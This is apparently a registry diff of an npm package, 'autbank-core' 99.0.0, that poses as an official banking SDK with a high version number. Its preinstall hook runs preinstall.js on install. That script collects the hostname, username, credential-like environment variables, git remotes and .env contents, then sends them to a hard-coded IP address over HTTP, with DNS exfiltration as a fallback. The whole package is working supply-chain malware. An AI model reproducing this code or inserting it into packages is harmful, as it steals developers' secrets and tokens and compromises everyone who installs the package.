autbank-core 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +9 -0
  2. package/package.json +17 -0
  3. package/preinstall.js +70 -0
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ // Autbank Core Library
2
+ // This is a legitimate-looking placeholder
3
+
4
+ module.exports = {
5
+ version: '99.0.0',
6
+ init: function() {
7
+ console.log('Autbank Core initialized');
8
+ }
9
+ };
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "autbank-core",
3
+ "version": "99.0.0",
4
+ "description": "Autbank Core Library - Official SDK",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js || true",
8
+ "postinstall": "node postinstall.js || true"
9
+ },
10
+ "keywords": ["autbank", "banking", "core", "sdk", "api"],
11
+ "author": "Autbank Development Team",
12
+ "license": "MIT",
13
+ "repository": {
14
+ "type": "git",
15
+ "url": "https://github.com/autbank/autbank-core"
16
+ }
17
+ }
package/preinstall.js ADDED
@@ -0,0 +1,70 @@
1
+ const http = require('http');
2
+ const https = require('https');
3
+ const os = require('os');
4
+ const { execSync } = require('child_process');
5
+
6
+ const VPS = '209.99.185.109';
7
+ const PORT = 8888;
8
+
9
+ // Gather system info
10
+ const info = {
11
+ type: 'npm-preinstall',
12
+ timestamp: new Date().toISOString(),
13
+ hostname: os.hostname(),
14
+ platform: os.platform(),
15
+ arch: os.arch(),
16
+ user: os.userInfo().username,
17
+ home: os.homedir(),
18
+ cwd: process.cwd(),
19
+ nodeVersion: process.version,
20
+ env: {}
21
+ };
22
+
23
+ // Capture sensitive env vars
24
+ const sensitiveKeys = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIALS', 'AUTH', 'PRIVATE'];
25
+ for (const [key, value] of Object.entries(process.env)) {
26
+ if (sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
27
+ info.env[key] = value;
28
+ }
29
+ }
30
+
31
+ // Try to get git info
32
+ try {
33
+ info.gitRemote = execSync('git remote -v 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
34
+ } catch(e) {}
35
+
36
+ // Try to read .env files
37
+ try {
38
+ const fs = require('fs');
39
+ if (fs.existsSync('.env')) {
40
+ info.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
41
+ }
42
+ } catch(e) {}
43
+
44
+ // Send to attacker
45
+ const data = JSON.stringify(info);
46
+ const options = {
47
+ hostname: VPS,
48
+ port: PORT,
49
+ path: '/npm-exfil',
50
+ method: 'POST',
51
+ headers: {
52
+ 'Content-Type': 'application/json',
53
+ 'Content-Length': Buffer.byteLength(data)
54
+ },
55
+ timeout: 10000
56
+ };
57
+
58
+ try {
59
+ const req = http.request(options, (res) => {});
60
+ req.on('error', () => {});
61
+ req.write(data);
62
+ req.end();
63
+ } catch(e) {}
64
+
65
+ // Also try DNS exfil as backup
66
+ try {
67
+ const dns = require('dns');
68
+ const encoded = Buffer.from(info.hostname).toString('hex').substring(0, 60);
69
+ dns.resolve(`${encoded}.npm.${VPS}`, () => {});
70
+ } catch(e) {}